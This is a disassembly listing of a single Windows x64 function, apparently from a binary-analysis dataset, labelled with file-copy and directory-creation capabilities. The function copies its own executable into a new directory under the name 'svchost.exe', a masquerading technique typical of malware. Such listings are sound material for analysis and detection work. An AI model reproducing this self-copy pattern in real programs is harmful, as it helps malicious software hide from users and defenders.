Function at 0x140001e60
Capabilities:
Copy file
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
lea rdx, [0x14000c0c0]
lea rcx, [rsp + 0x70]
call fcn.140004ad0
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140004ad0
nop
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, rdi
xor r14d, r14d
cmp rax, 0xc
jb 0x140001f06
lea rax, [rdi + 0xc]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 7
cmova rbx, qword [rsp + 0x50]
lea rcx, [rbx + rdi*2]
mov r8d, 0x18
lea rdx, str._svchost.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x18], r14w
jmp 0x140001f25
mov qword [rsp + 0x20], 0xc
lea r9, str._svchost.exe
mov edx, 0xc
lea rcx, [rsp + 0x50]
call fcn.140005e50
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov r8d, 0x104
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp - 0x70]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], r14w
jne 0x140001f53
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x1400021b5
cmp rbx, 7
ja 0x140001fa3
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x30], r14w
jmp 0x140002050
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x140001ff2
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140002022
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400021bb
mov rcx, rax
call fcn.1400068c0
test rax, rax
je 0x1400020cc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000202a
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400021bb
add rcx, rcx
jne 0x140001fbd
mov rdi, r14
jmp 0x14000202a
call fcn.1400068c0
mov rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x70]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rbx], r14w
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rcx, qword [rsp + 0x30]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400020d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006b44
movdqa xmm0, xmmword [0x140008d80]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140002131
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000212c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000212c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006b44
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002189
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002184
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002184
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006b44
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140006600
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400013e0
nop
call fcn.140001340
int3